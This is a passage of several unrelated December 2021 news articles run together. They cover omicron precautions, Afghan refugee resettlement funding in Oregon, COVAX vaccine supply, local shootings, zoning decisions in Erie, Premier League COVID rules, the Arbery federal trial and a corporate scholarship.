filling up. Staff are fatigued," Lemieux said. "We're almost two years into the pandemic, and there may be limits on capacity to handle the kinds of the caseloads that we see from an omicron wave superimposed on top of the delta surge." Cases of omicron have been skyrocketing in South Africa since the variant was first identified last month. Omicron already accounts for as many cases as when delta reached its peak there, about two months after arriving. A security guard stands in position outside a ward being prepared for the omicron coronavirus variant at Civil hospital in Ahmedabad, India, Monday, Dec. 6, 2021. Early data from South Africa's largest private health insurer, Discovery Health, suggests vaccines and prior infections are less protective against omicron than they have been with earlier variants, though they may still prevent severe disease. Hospitalization rates are still lower with omicron than with earlier waves and patients are less likely to require ventilation, though its not clear whether thats because of the newness of the variant, because it is less dangerous, or because prior infections and vaccinations provide protection, MacInnis and the others said. About 16% of South Africans hospitalized with COVID-19 have been vaccinated. For these reasons, the scientists on the Tuesday call said they were reconsidering gathering for Christmas. "It's time to step back and reevaluate," said Dr. Amy Barczak, a professor of medicine at Harvard Medical School. "My family has changed our plans so that we are no longer going to be getting together with particularly vulnerable members of the family over the holidays the way we had been planning to do." People who have been the most vulnerable throughout the pandemic senior citizens, those who are immune-compromised and people who have other health conditions like diabetes will remain most vulnerable to omicron, she said. Asked if rapid home tests before gatherings could mitigate some of the risk, MacInnis said it was "tricky" because it's not yet known how sensitive the tests are for the omicron variant. 'JUST A MATTER OF TIME': How scientists in San Francisco found the first case of the omicron COVID-19 variant in the US Lemieux said that if a group is definitely getting together, at-home rapid tests could be useful as a risk-mitigation strategy, but he urged caution. "I think it's time to reevaluate whether a gathering is necessary and big gatherings are necessary," he said. If people do go ahead with a gathering, they should "do everything you can to conduct it as safely as possible," Lemieux said, which means staying outdoors as much as possible, ventilating indoor spaces by opening windows and masking when indoors. Flying, Luban and others said, remains relatively safe because of masking, vaccination requirements and good air filtration. Travel restrictions don't work, the experts on the call said, because the virus has already spread across the globe. They also all supported the idea of booster shots, which seemingly can restore protection that may have faded with time. The fact that fewer people are dying in South Africa from omicron than earlier variants suggests that vaccines, though they aren't preventing all infections, may be stopping the most severe cases. The rise of omicron, MacInnis said, "does not mean our vaccines are failing us." Contact Elizabeth Weise at eweise@usatoday.com and Karen Weintraub at kweintraub@usatoday.com. Health and patient safety coverage at USA TODAY is made possible in part by a grant from the Masimo Foundation for Ethics, Innovation and Competition in Healthcare. The Masimo Foundation does not provide editorial input. This article originally appeared on USA TODAY: Omicron variant worries some experts: 'Happening every place at once' Resettlement agencies in Oregon committed to receiving Afghan refugees have a goal of resettling 1,200 families by September. Salem's resettlement agency, Salem for Refugees, will welcome at least 100 Afghan people in the city by Feb. 15. Oregon will help agencies meet that goal and ensure that all refugees coming to Salem and the state will thrive in their new homes, said Luke Glaze, executive director of Salem for Refugees. Millions in assistance The House convenes for the second special session of 2021 on Monday. A bill passed during the session would allocate funding for resettlement of Afghan refugees. SB5561 passed in a special legislative session on Monday approved more than $400 million in funding to address various issues such as rent assistance, farmers facing drought and illegal marijuana grow operations. The bill allocated $18 million to support Afghan individuals and families with housing, education, legal aid, job training and culturally-specific support as they settle in the state. Of that $18 million, $5.25 million has been earmarked for short-term food and shelter, $2.9 million will support case management services, $5.9 million will be for rental assistance and $2.89 million is for immigration and legal services. An additional $807,600 will be available for culturally specific assistance and interpretation classes. Mid-Valley hero: Afghan interpreter helped save lives during war in Afghanistan Glaze said the money for housing was critical. The speed of resettlement means agencies are not always able to target affordable units. "Additional funding can help us be a little more flexible and even target more market-rate units," he said. "Which will be very helpful for families as they get on their feet and work toward self-sustainability and self-sufficiency." Refugees arriving in Oregon receive initial resettlement support during a 90-day window. The additional case management funding will help the agency provide this initial support and help the organization provide extended case management past the mandated service window, said Glaze. "That's really important," he said. "In the state of Oregon we want to make sure families are thriving and not just being resettled here rapidly and then kind of left and not helped through the process of adjusting to a new culture, climate and all that goes along with that." Story continues Ongoing effort More than 70,000 Afghan families fled to the U.S. in August following the Talibans takeover of Afghanistan and withdrawal of U.S troops. State lawmakers quickly urged support and signaled a readiness to welcome refugees. The state deployed its emergency management plan quickly and resettlement agencies grew from three to five in the past couple of months, representing quick growth in capacity to support refugees. Ready welcome: Salem prepares for refugee family as state leaders urge support Salem for Refugees had been working to become an official resettlement agency and received expedited approval in November to support the Afghan refugee crisis in the state. I have been heartened these last few months to see support from Oregonians across the state willing to step up, offering what they can to respond to this humanitarian crisis, said Rep. Khan Pham, D-Portland, in a statement celebrating the approval. Rep. Khanh Pham talks with a fellow lawmaker during the legislative session in June. Pham and Rep. Kayse Jama, D-Portland, led the effort to bolster the states response to the Afghanistan crisis. They collaborated with agencies like Salem for Refugees and community partners around the state. According to Glaze, the agencies working together included Catholic Community Services of Lane County, Catholic Charities of Oregon, Lutheran Community Services Northwest, Ecumenical Ministries of Oregon and Immigrant and Refugee Community Organization. This funding will not only prevent families from falling through the cracks as they begin the next chapter of their lives in Oregon but will also be a strategic economic investment for our state. By welcoming Afghan families today, our state will benefit for many years to come, added Jama in the statement. The bill has been sent to Gov. Kate Browns desk for consideration. "We feel incredibly fortunate to be in a state that has put this as a priority," Glaze said. Dianne Lugo is a reporter at the Statesman Journal covering equity and social justice. You can reach her at dlugo@statesmanjournal.com, 503-936-4811 or on Twitter @DianneLugo. This article originally appeared on Salem Statesman Journal: State Legislature approves additional support for refugee resettlement Palmetto High linebacker Jaylen Wester signs with Florida Atlantic University. PALMETTO Palmetto Highs Jaylen Wester made it official, signing with Florida Atlantic University in Boca Raton. The Owls are coached by former Manatee High quarterback Willie Taggart. Palmetto High linebacker Jaylen Wester poses with Tigers defensive coordinator Matt Braselton after Wester signed his letter of intent to attend Florida Atlantic University in Boca Raton. The 6-foot, 210-pound linebacker led the Tigers with 124 tackles, 71 solos, 35 for a loss. He had 4.5 sacks, two interceptions, one pass defended, two caused fumbles and blocked three punts. The No. 4 recruit in the Herald-Tribune coverage area, Wester was offered by the University at Buffalo, Southern Methodist University, Colorado State, Florida Atlantic University, Florida International University, Bowling Green, Toledo, University of South Florida. Before the season, Palmetto coach Dave Marino said, Its his instincts and acumen for the game and his explosiveness. Hell go down as one of the greatest (Tiger players in school history). In Boca Raton, Wester joins his brother LaJohntay, a former Tiger who just completed his sophomore season with the Owls. Dennis Maffezzoli is the deputy sports editor for the Sarasota Herald-Tribune and chief reporter for Sarasota Herald-Tribune and HTpreps covering Sarasota, Manatee and Charlotte counties. Support local journalism by subscribing. This article originally appeared on Sarasota Herald-Tribune: Palmetto High linebacker Wester signs with Florida Atlantic University MILAN Golden Goose again took the top spot this year as the company with the most potential to publicly list, according to Milan-based consultancy Pambianco Strategie di Impresa. The fashion company, which built its success on a range of bestselling sneakers, was followed by new entry LuisaViaRoma and innerwear company Calzedonia Group, founded by Sandro Veronesi, which controls the Calzedonia, Intimissimi and Tezenis labels as well as knitwear brand Falconeri, bridal line Atelier Eme and wine retailer Signorvino. More from WWD Last year, Stone Island was in second position and the Ermenegildo Zegna Group in third. What a difference a year makes and not only due to the impact of the COVID-19 pandemic as Sportswear Company SpA, owner of the Stone Island brand in 2020 was acquired by Moncler, which is publicly listed, and Zegna is planning to go public this month on the New York Stock Exchange after entering into a business agreement with Investindustrial Acquisition Corp., a special purpose acquisition corporation, sponsored by investment subsidiaries of Investindustrial VII LP. The study analyzes the companies that have the economic, financial and positioning characteristics to be listed in a timespan of three to five years, regardless of whether a listing is in the plans of the firm. Golden Goose in February last year changed hands, as private equity fund Permira bought the Italian brand from the Carlyle Europe Buyout fund. The price was pegged at 1.28 billion euros, which implied that Permira paid more than 14 times the companys 2019 earnings before interest, taxes and depreciation. Golden Goose continues to be led by chief executive officer Silvio Campara. The brand achieved much of its success with the Superstar sneaker, which offers 400 variations a year. Golden Goose prides itself on keeping its products handmade in Italy and offers customization through the Lab project. Story continues In September, Italian private equity firm Style Capital invested 130 million euros to acquire a 40 percent stake in Florence-based multibrand e-tailer LuisaViaRoma, one of the leading luxury online shopping destinations in Europe and the U.S. The operation was mainly made through a capital increase, aimed at supporting the future growth of the e-commerce platform, which has a turnover of around 230 million euros. Andrea Panconesi, whose grandmother Luisa Jaquin in 1929 opened a small boutique on Florences Via Roma, was appointed chairman. A month later, Yoox veteran Alessandra Rossi was named CEO. As per Pambianco, in the beauty sector Agf88 Holding, which produces professional hair and skin care products, ranked first, taking over Euroitalias spot. The Italian company produces and distributes fragrances for Versace, Moschino, Dsquared2 and Missoni, among others. Sodalis was confirmed once again second in the ranking, followed by Pinalli, which took over Davines spot last year. Each year, Pambianco ranks the companies based on eight parameters: percentage growth (in this case in the 2018 to 2020 period); average EBITDA percentage in the three-year period; brand awareness; size; exports; distribution control (directly operated stores and e-commerce), and market positioning (high, medium, low). The 2021 edition selected 30 fashion companies, 10 beauty firms, 20 in the design segment and 10 in the wine industry. David Pambianco, CEO of Pambianco Strategie di Impresa, said being part of the list means certifying the companies ability to produce value. This year, we wanted to increase the weight of the parameter indicating a companys growth percentage and also include in the ranking the activities that have developed most of their business online, said Pambianco, noting that this was even more necessary after the acceleration of this channel during the pandemic. Analyzing the best in class, Pambianco said the beauty sector registered an average sales decrease of 2.9 percent in 2020. The wine segment saw a 3.8 percent decrease and design a 4.7 percent drop. The fashion sector was the most hit, with sales down 21 percent. Among the small caps, with revenues below 50 million euros, the top spot was taken by swimsuit label MC2, followed by outerwear specialist Moorer and jewelry brand Raspini. In the wine category, Santa Margherita, owned by a number of members of the Marzotto family, was in the first spot, pushing Marchesi Antinori into the second and Frescobaldi in the third. A special award went to the Armani Group, to Davines and Artemide for their sustainability efforts. Creativity, excellence, intuition and innovation once again emerged as fundamental qualities for Made in Italy companies. The stock markets have shown they strongly believe in the Italian entrepreneurial stories marked by a strong drive to grow, to internationalize and innovate and are waiting for new investment opportunities, Pambianco added. Sign up for WWD's Newsletter. For the latest news, follow us on Twitter, Facebook, and Instagram. By Francesco Guarascio BRUSSELS (Reuters) - Pfizer and BioNtech are set to displace AstraZeneca as the main suppliers of COVID-19 vaccines to the global COVAX programme at the start of 2022, a shift that shows the increasing importance of their shot for poorer states. The expected change comes with headaches for receiving countries that lack sufficient cold storage capacity to handle the Pfizer vaccine, and amid risks of a shortage of syringes needed to administer that shot. AstraZeneca is currently the most distributed vaccine by COVAX, according to data from Gavi, the vaccine alliance that co-manages the programme with the World Health Organization (WHO). The programme has so far delivered more than 600 million shots to nearly 150 countries, of which more than 220 million are AstraZeneca's and about 160 million Pfizer's. But in the first quarter of next year Pfizer is set to take over, according to Gavi and WHO figures on doses assigned by the COVAX programme for future supplies. By the end of March, another 150 million Pfizer doses are to be distributed by COVAX, a WHO document shows. A spokesperson for Gavi confirmed that Pfizer is far ahead in terms of "allocated" jabs, with about 470 million doses delivered or readied for delivery, against 350 million from AstraZeneca. Pfizer is the first provider of COVID-19 vaccines to the European Union, the United States and Japan. It has bilateral agreements for more than 6 billion doses, making it by far the largest supplier of COVID-19 vaccines, according to data from UNICEF, a U.N. agency. But AstraZeneca has been seen as a crucial supplier to less developed countries, because its shot is cheaper and easier to deliver. COVAX bet heavily on AstraZeneca at the beginning of the pandemic, but supply problems and export restrictions from top producer India gradually reduced its reliance on the Anglo-Swedish shot. As the programme faced problems in securing doses directly from vaccine makers amid a global scramble for shots, donations from rich nations became more important, turning Pfizer into the main supplier to COVAX. The United States is donating mostly Pfizer shots to the programme. Story continues COLD CHAIN AND SYRINGES The change forced Gavi to rush to invest more in cold chain capacity in receiving countries that do not have enough refrigerators and cold transport equipment to handle the Pfizer shot, which requires lower storage temperatures than the AstraZeneca vaccine. The organization warned about insufficient cold chain capacity in some countries, according to an internal report submitted to Gavi's board at the beginning of December and seen by Reuters. The problem is compounded by a risk of shortages of special syringes needed to administer the Pfizer vaccine, Gavi warned in the document. The Pfizer jab is "the hardest to deliver given ultra-cold chain and special syringe requirements", Gavi says in its internal document. It is also "the hardest to plan for as these (donated vaccines) often come with earmarking and little notice or in a staggered manner and in small volumes and with short shelf lives", the document says. Wealthy countries donating COVID-19 vaccines with a relatively short shelf life has been a "major problem" for COVAX, a WHO official said last week, as many doses were wasted. An EU official told a news briefing last week that EU donations of Pfizer vaccines to COVAX were slowed by a lack of syringes. A second official familiar with the issue told Reuters that Gavi had to postpone the delivery of some Pfizer doses from Europe because of the lack of syringes. Pfizer declined to comment on syringes because it said it does not produce or buy them directly. As more doses are made available to poorer nations, UNICEF and the WHO have long been warning of the insufficient supply of the auto-disable syringes, which are crucial for inoculations in poorer nations. Auto-disable syringes lock automatically to prevent re-use, which is otherwise common in poorer nations and could spread of diseases. To make things more complicated, auto-disable syringes needed for the Pfizer vaccine are different from standard syringes, UNICEF said. (Reporting by Francesco Guarascio; Editing by Alex Richardson) Orlando police are investigating a drive-by shooting that happened Tuesday night near the Richmond Heights neighborhood. Three homes were struck by bullets when someone fired shots from a vehicle in the 4000 block of Booker Street, according to OPD spokesperson Heidi Rodriguez. No injuries were reported, Rodriguez. Details about the suspected shooter and possible motive were not released. lgarza@orlandosentinel.com A teenager was shot in Lawrence on Tuesday afternoon while he and two other people attempted to rob an employee of a pawnshop, according to the Lawrence Police Department. The shooting occurred near the intersection of Pendleton Pike and Franklin Road after the pawnshop employee left the business to run an errand, said Deputy Chief Gary Woodruff of the Lawrence Police Department. At least one of the alleged robbers had a gun. Gunfire was exchanged between the pawnshop employee and the alleged robbers, Woodruff said. One of the alleged robbers was shot and fled with the other two, Woodruff said. More crime news: Greenwood High teacher facing child seduction charges after messages to student found More: Coroner identifies 33-year-old woman found on I-70. Her death remains under investigation. Police tracked down the vehicle of the alleged robbers and the injured teenager was transported to a hospital in stable condition, while the other two were apprehended, Woodruff said. The ages of the teens was not immediately available Tuesday evening. The pawnshop employee was not injured in the shooting. Woodruff could not confirm which pawnshop the man worked for as of Tuesday evening. Contact Jake Allen at jake.allen@indystar.com. Follow him on Twitter @Jake_Allen19. This article originally appeared on Indianapolis Star: Indianapolis crime: Teen shot in alleged pawnshop robbery attempt Two people are facing charges in connection with a fatal shooting last week in Clarksville. Investigators say the teenage victim was lured out of his home by his ex-girlfriend and shot by her current boyfriend, who was waiting outside. Arahmonie Major, 17, was pronounced dead in the area of Buckshot and Whitetail Drives shortly after police arrived at about 8:45 p.m. Dec. 8. Major suffered from multiple gunshot wounds, according to CPD spokesperson Scott Beaubien. According to an arrest warrant, Major was shot at least once in the head. Shell casings from a 40-caliber gun were found at the scene, and at least one 9-milimeter shell casing was also recovered. Clarksville Police investigates shooting in Buckshot Drive area on Dec. 8, 2021. Robert Jaylen Holland, 18, of Nashville, and Miracle Bailey, 18, were arrested and charged in Major's death later that same night. Montgomery County Sheriffs Office deputies were able to locate the couple's dark-colored Jeep shortly after Clarksville Police arrived at the scene. Witnesses described seeing the Jeep leave the scene at a high speed, the warrant said. Deputies tried to stop the Jeep in the area of Madison Street and Pageant Lane, based on the witness descriptions, Beaubien said. The pursuit that followed took police through several streets and Austin Peay State University before it ended in the Lincoln Homes area, where four people fled the vehicle. The driver, Holland, was found wearing a ski mask and detained after the foot pursuit while Bailey was found shortly after, police said. Holland told officers that the vehicle was stolen, police said. Investigators said Holland and Bailey were in a relationship and Major was Bailey's ex-boyfriend. Major's cellphone was recovered from the scene, and investigators learned that he was in communication with Bailey via social media before the shooting. Earlier that day, Holland and Bailey got into a fight after she received a phone call from Major, police said. The warrant says that Holland took Bailey home after the fight. She received a call from Holland shortly after and was instructed to video call Major and say that she wanted to meet up with him, it said. Story continues Members of Major's family told investigators that he was on the phone with a girl right before he stepped outside the house and was shot. Bailey knew Holland was armed with a gun earlier that day, the warrant said. After the couple was taken into custody, a 40-caliber pistol was found in the direction Holland had run after he fled the vehicle and a 9-milimeter magazine was found in the back seat of the Jeep, police said. Holland has been charged with criminal homicide, and Bailey has been charged with facilitation of criminal homicide. The investigation is continuing. Anyone with information or additional video footage is asked to contact Detective Hughes, 931-648-0656, ext. 5684, Call the Clarksville Montgomery County Crime Stoppers Tipsline 931-645-8477, or go online and submit a tip at P3tips.com/591. Alexis Clark can be reached at aclark@gannett.com or 931-217-8519. This article originally appeared on Clarksville Leaf-Chronicle: Young couple arrested after fatal shooting of girl's ex-boyfriend ESSEX, CT This letter went out to parents from Region 4 on Dec. 15th. "Dear Parents, Guardians, and Staff of Chester, Deep River, Essex, and Region 4 Schools, Today we were notified of a positive case of COVID-19. We consulted with the Essex Health Department to determine appropriate steps. This case impacted 9 students at Essex Elementary School. Students and staff members who were in close contact with this individual have been contacted by their school principal. " This article originally appeared on the Essex-Chester-Deep River Patch It wont be a recreational trail, though residents are likely to enjoy it. Its not a tourism ploy, though many visitors may come to spend time on it. The Urban Trail Project connecting the city and town of Poughkeepsie is, first and foremost, a transportation tool, Dutchess County Public Works Commissioner Robert Balkind, calling it a transformative project. And, by this time next year, its first section may be open. The Dutchess County Legislature on Monday approved bonding for $11.1 million in funds to build its first phase. A cyclist on the William R. Steinhaus Dutchess Rail Trail crosses over the CSX right of way that Dutchess County and the City of Poughkeepsie are acquiring from Scenic Hudson on July 9, 2019. Spending plan: Dutchess approves 2022 budget with added school trauma training, grant funding Dutchess: Will mask mandate be followed? Some Dutchess store owners unhappy with mixed messaging Extraction: Wingdale Materials employee rescue from mine shaft a joint effort: Arlington fire chief When complete, the project will create a trail network through the City of Poughkeepsie, repurposing railroads formerly used by the CSX rail transportation services company. Plans call for a trail network that would connect pedestrians and cyclists in the city and town to the Dutchess Rail Trail, Marist College, the Walkway Over the Hudson, the riverfront and other key points of interest. Its northern tip would stretch to the under-construction Hudson Heritage development in the town, theoretically giving residents an alternate route to the ShopRite there and other services. We expect and we anticipate that therell be people commuting to work on this trial, that therell be people commuting and going back-and-forth to their doctors appointments on this trail, that there will be people going to businesses to do their local business that they do, Balkind said during a presentation to the Legislature last month. This is truly a transportation corridor, not just a recreational trail. The $11.1 million is budgeted to be enough to create the eastern leg of the trail system, roughly 1.4 miles, from Parker Avenue in the south to Hudson Heritage, and connections at Fulton Street. Construction is expected to begin early in 2022, with the goal of completing it by the end of the year. The rest of the project is still being finalized. Story continues The 2.7 miles of land needed for the project, which was originally announced in 2019, were transferred from CSX to Scenic Hudson and then to the county. What will be included? After online surveys and public comment opportunities, developers settled on a design in which large swaths of the trail will be 16-feet wide and include a divider to separate bike and pedestrian use; the sections of the trail anticipated to see the heaviest use would be 22 feet. Other sections that will not have a divider will be 13 feet wide, which is three feet wider than the average section of the Dutchess Rail Trail, and sections that will be built along existing roads will be 10-feet wide. The trail will be open 24 hours a day, seven days a week. Balkind said safety was the key goal for the trail, which meant creating a design with adequate lighting, maximization of sightlines and few points of restriction. Developers are still evaluating the use of cameras. While most of the trail will be securely on the ground, there will be a handful of overpass bridges dictated by the needs of road crossings. Developers noted they had satisfied all but one of residents top desires reflected in online surveys, with seating, pet waste stations, bike repair stations, parking, security systems, public art and informational kiosks included in the design. The one thing that will not be there are trash cans; Balkind noted there will be trash cans at trail heads, but all the countys linear parks are carry-in, carry-out. This is trail is a unique kind of linear park, County Executive Marc Molinaro said in a statement. It will be used for so much more than just recreation and exercise because of its urban setting. This trail network will connect people with their jobs, neighborhood businesses, and community services without needing a car. Its not only going to provide an environmentally friendly alternative to driving to a destination, for many, it will provide an economical and efficient way to traverse the area. This article originally appeared on Poughkeepsie Journal: Poughkeepsie Urban Trail funding approved, here's what's planned Tottenhams last couple of games have been postponed because of a Covid-19 outbreak (PA Wire) The Premier League has rejected at least one request for a match to be postponed due to positive Covid-19 cases this week. The match between Tottenham and Brighton last Sunday had to be called off due to an outbreak at the north London club, while late on Monday night the league announced the Brentford vs Manchester United match had been postponed. But it is understood there was at least one additional request this week which was not granted, with the league only publicly announcing approved postponements. Norwich boss Dean Smith has criticised what he sees as a lack of clarity concerning the criteria for a game to be postponed. Clubs agreed and voted on the regulations concerning postponements, but the Premier League board has to consider each set of circumstances individually. The league has reintroduced Covid emergency measures across all clubs and added in extra testing in the wake of a season-high 42 positive Covid cases being recorded last week and amid worldwide concern over the highly transmissible Omicron variant of the virus. Any player or member of staff must take a lateral flow test in their car before entering a training ground, and PCR tests will be administered at least twice a week. The league has not published vaccination rates among players since October, but is conscious of the importance of vaccination in the current climate and is reviewing the data with a view to providing an update. The rules for spectators have also changed from Wednesday, with the Governments Covid Plan B measures coming into force in England. Fans attending a venue holding more than 10,000 people must be prepared to provide proof of vaccination or a negative lateral flow test taken within 48 hours of the match. However, only around 20 per cent are likely to be spot-checked, with the precise percentages agreed between each club, its local safety advisory group (SAG) and the local public health authority. There is an appreciation that checking a higher percentage could create public health issues if crowds build up, although clubs and SAGs have been encouraged to ensure checks take place at various times and entry points to avoid the same people being checked each week, and to ensure people do not feel they can avoid checks if they arrive at a ground late. Story continues Fans will also have to complete a self-declaration form saying they will only attend if they have proof of vaccination or a recent negative test, and it is up to individual clubs whether failure to provide certification results in any sanction beyond being turned away from the match in question. It is understood the league is happy that negative tests form part of Plan B initially it had been expected to vaccination-only certification which would have put stewards at the front line of arguments over vaccination status. The effectiveness of the Covid Plan B measures and the spot-checks will be closely monitored, with local health authorities having worked with the clubs all season to flag up any outbreaks connected to matches. Masks must be worn in indoor areas of stadiums, although this will be down to stewards to enforce, who will have to make a safety call over whether intervening will not create a flashpoint which has more serious public health implications. The league is not issuing any advice to supporters at this stage to limit singing, shouting or physical contact with others, and will instead mirror and amplify Government guidance as it is released. The league is understood to have had assurances from Government that it wants to keep sport open for as long as it is possible to do so amid the renewed Covid crisis, but accepts the Premier League, along with other competitions, will be subject to any tightening of restrictions that may be deemed necessary. In an effort to seat an impartial jury in the Ahmaud Arbery hate crimes trial, both parties have filed a motion in a U.S. District Court to pull jurors from 43 counties from all over the state of Georgia. This federal case will be the second trial related to Arberys slaying. The three white men convicted last month of killing the 25-year-old Black man will go back to court in February to face a different charge. Travis McMichael (left), Roddie Bryan (center), Gregory McMichael (right) This time, a federal court will see if Greg and Travis McMichael (father and son) and their neighbor, William Roddie Bryan violated the civil rights of the young man they murdered, taking his life because of his race. The legal motion read, The parties believe that it is likely that many potential jurors from the Brunswick Division will have experienced sustained exposure to the case and may have formed immutable opinions, in one direction or the other, that will ultimately preclude them from sitting on a jury in this case. Arbery was killed in a subdivision near Brunswick, Georgia, on Feb. 23, 2020, and the circumstances around his death occupied the headlines of national and local media outlets for months. George McMichael leaked a video depicting the shooting death of Ahmaud Arbery (above) to quell racial tension on Brunswick, Georgia. (Photo: I Run With Maud/Facebook) The three men were convicted of felony murder and false imprisonment, aggravated assault, and criminal attempt to commit a felony weeks ago, on November 25. The lawyers believe that casting a wider net to secure jurors both the prosecution and the defense heighten their chances of getting justice. This strategy is also within their legal right. According to the U.S. District Court, Southern District of Georgias website citizens live in 43 counties which are broken down into six divisions. Anyone can be called to serve on a jury outside of the division that they live in if they are called to be in a grand jury or there is a need for a district-wide jury. The prosecution and defense asked the judge to take an additional measure in selecting the jury and submitted a 14-page questionnaire alongside their jury duty notice that will help in identifying anyone that might be excessively biased in the case. Story continues This is a completely different process than the state trial that convicted the men of murder. That trials jury consisted of 11 white people and one Black person from the local division. Despite early accusations that the selection demonstrated intentional discrimination toward Black potential jurors, the prosecution was still able to win their case. Travis McMichaels attorney, Amy Lee Copeland, is taking it a step further, asking the judge to consider having the trial in a different city with the judicial district. She suggested Savannah or Augusta. Both requests came less than two weeks from the pretrial hearing for this federal case on Dec. 20. More news from our partners: A Helpless Teenager: Grand Jury Indicts Former Stockton Police Officers In Beating of Black Teen That Left Boot Print on His Face You Got Me Speechless | Deion Sanders Wins Eddie Robinson Award, Jackson State Cleans Up Postseason Awards Two Friends Left Steady Paychecks, 401(k)s and Bet on Themselves. Today They Run a $1M Business. A New York developer is a step closer to transforming a downtown Erie hotel into an apartme nt building. And the Erie School District got one of the green lights it needs to sell Irving School for a low-income housing development. Decisions by the Erie Zoning Hearing Board on Tuesday will help both projects move forward. Avalon Hotel project A zoning variance granted to Errie LLC for its Avalon Hotel & Conference Center property at 16 W. 10th St. will accommodate a New York-based developer's plan to buy the hotel and convert it to a 219-unit apartment building. A zoning variance granted to Errie LLC for its Avalon Hotel & Conference Center property at 16 W. 10th St. will accommodate a New York-based developer's plan to buy the hotel and convert it to a 219-unit apartment building. Zoning change is key: Developer aims to turn Erie's Avalon Hotel into apartments GoodHomesCo LLC plans to buy the property from Ramesh Diora, whose ownership group, Errie LLC, bought the hotel for $1.8 million in 2010. The sale has been contingent on the zoning variance being granted, said Michael Agresti, the Erie lawyer representing GoodHomesCo in the zoning request. The eight-story hotel is in a C-3 central commercial zoning district. The zoning allows multifamily housing but requires 1,000 square feet per unit. The hotel, which is 150,000 square feet, would accommodate no more than 150 units under the standard C-3 zoning. The variance granted Tuesday will allow for the 219 units that will make the project financially viable, Agresti said. "It simply would not be feasible with 150 units. It just does not pencil out," Agresti said. "The cash flow would not be there to make this economically feasible with 150 units." The company plans to reconfigure the hotel to accommodate mostly studio apartments measuring 390 square feet. Some one-bedroom apartments, measuring 780 square feet, are also planned, primarily on the second floor where the hotel's convention and meeting rooms are now located, Agresti said. The apartments are expected to rent for $750 to $1,000 monthly. The new apartments will meet a need for young professional housing in Erie, and its residents will benefit downtown restaurants and other businesses, Agresti said. Story continues "What they're describing is transformational. It is huge for Erie, Pennsylvania," Agresti told the Zoning Hearing Board. The apartment building will have a storage area where tenants can store kayaks, bicycles and other items, most likely in what now is the hotel ballroom. The hotel restaurant will become a tenant lounge and game room. Meeting and event rooms, co-working space, a fitness center, sun decks, laundry facilities and possibly a courtyard grill area with picnic tables are also planned, Agresti said. GoodHomesCo LLC expects to spend between $7 million and $8 million beyond the property's purchase price to reconfigure and renovate the building, Agresti said. The purchase price was not included in the application or accompanying documents provided for the zoning variance. The development will not provide the mix of low- and middle-income housing advocated by two Erie residents during Tuesday's zoning meeting. But it will meet a community need, Zoning Hearing Board Vice Chair Selena King said in voting for the zoning variance for the project. "And we do thank you for the investment you're bringing to our city," King told GoodHomesCo owner David Mitchell, who attended Tuesday's Zoning Hearing Board meeting. The Avalon Hotel opened as a Hilton in 1977 and has had various owners and updates since it was sold at sheriff sale in 1990. Irving School project Irving Elementary School, opened in 1897, is shown in this 2017 file photo. A variance that will allow construction of a 60-unit housing development at Irving Elementary School, which would be demolished for the project, also was approved Tuesday. But there are some conditions attached. Columbus-based Woda Cooper Development Inc. applied for the variance on behalf of the Erie School District to allow the construction of the 60-unit building for low income housing, including senior housing, in a neighborhood zoned R-2, for medium density residential. The variance was granted contingent on the school district and developer pursuing plans to maintain property next to the school as a public green space. There currently is a ballfield on the property. The variance also is contingent on the developer using some of the school's architectural elements and other materials in the new building "in order to preserve the character of the neighborhood," and on the developer considering how it can design the building to match the neighborhood's architecture and character. Lastly, the developer must provide "adequate screening" between parking lots and green space. Woda Cooper considered using all or part of the existing school building for its multi-family development, but the cost would be prohibitive, project architect Dale Roth told the Zoning Hearing Board. The cost to renovate and use part or all of the existing building would be between $8.6 million and $10 million, compared to approximately $5.9 million to construct a new building, Roth said. Green space on the west side of the building will be maintained for public use, as neighbors requested and as required for the zoning variance, Roth said. And the new building can incorporate significant materials from the school, opened in 1897, as a tribute to its history and character, Roth said. "We could re-do some of the entrances and work in some woodwork and other (materials from the school)," Roth said. "I think some of its exterior features are very important and might be able to be saved and worked into the new building, including some of the stone work." Woda Cooper plans to buy the Irving School property, at 2310 Plum St., from the Erie School District for $400,000, according to a purchase agreement with the district. The purchase was approved by the Erie School Board in October. But the zoning variance granted Tuesday is just one of several conditions that must be met for the sale to go through. The sale additionally has to be approved by an Erie County Common Pleas Court judge because the district is selling public property to a for-profit entity. Another condition, according to the purchase agreement, is that Woda Cooper obtain federal tax credits for the development. Woda Cooper can terminate the Irving School purchase agreement if all those conditions are not met by the end of 2022. Irving School has been vacant since June 2012, when it was closed by the school district due to declining enrollment. Contact Valerie Myers at vmyers@timesnews.com. Follow her on Twitter @ETNmyers. This article originally appeared on Erie Times-News: Avalon, Irving School developments move forward with zoning approvals As part of its commitment to help future generations, the Ralph Lauren Corporate Foundation has made a $2 million commitment to support scholarships for Black, African and African American students at historically Black colleges and universities through the United Negro College Fund. Students at Morehouse College, Spelman College and 10 additional HBCUs stand to benefit from the scholarships. The foundation-funded program is in step with the Ralph Lauren Corp.s efforts to address systemic racism and racial injustice by using education as a way to create equity in the fashion industry and beyond. More from WWD Ralph Lauren, executive chairman and chief creative officer of Ralph Lauren Corp., said: Students represent the best of the human spirit passion, curiosity and boundless dreams. When all students have an equal chance to succeed, their dreams become realities and inspire us all. Morehouse College partners with organizations like the Ralph Lauren Corporate Foundation that believe that equity begins in education, according to the schools president David Thomas. Martin Luther King Jr. and Spike Lee are among the graduates of Morehouse, which is the only historically Black college that is dedicated to educating men. Spelman College president Mary Schmidt Campbell said the scholarship program will allow high-achieving students in need of financial support to graduate with less debt, [and be] ready to step into their careers. In addition to Morehouse and Spelman, the scholarship grants will benefit eligible students at 10 other HBCUs over a five-year stretch. Working with the UNCF, those institutions will be selected using such criteria as unmet funding needs, enrollment rates; proximity to Ralph Lauren Corp.s U.S. operations, and which institutions offer disciplines and curricula that are geared toward careers in retail and organizations with which Ralph Lauren Corp. is increasing its talent pipelines. Story continues Following the murder of George Floyd in May 2020, many brands used their social media accounts or executive leaders to publicly voice the need to improve diversity and equity in the fashion industry across the board, including runway casting, advertising, corporate offices, executive board rooms and beyond. Education is crucial to this advancement, and also serves to expose students to new opportunities and jobs to pursue. The follow-through on these initiatives varies depending on the corporations and brands. This falls first Black in Fashion Council Human Rights Campaign report made clear that the industry is leagues away from where it needs to be in relation to diversity and inclusion. The reports executive summary highlighted that fashion has long upheld white supremacist ideologies, and has created and glorified standards of beauty and artistic expression that are explicitly anti-Black. While 77 percent of the reports participants said they conducted targeted recruiting opportunities to attract Black talent, including through job fairs, HBCUs and job boards and online posting that target the Black community, the report acknowledged that Black tokenism exists and roles for Black executives are scarce and therefore difficult to obtain. That 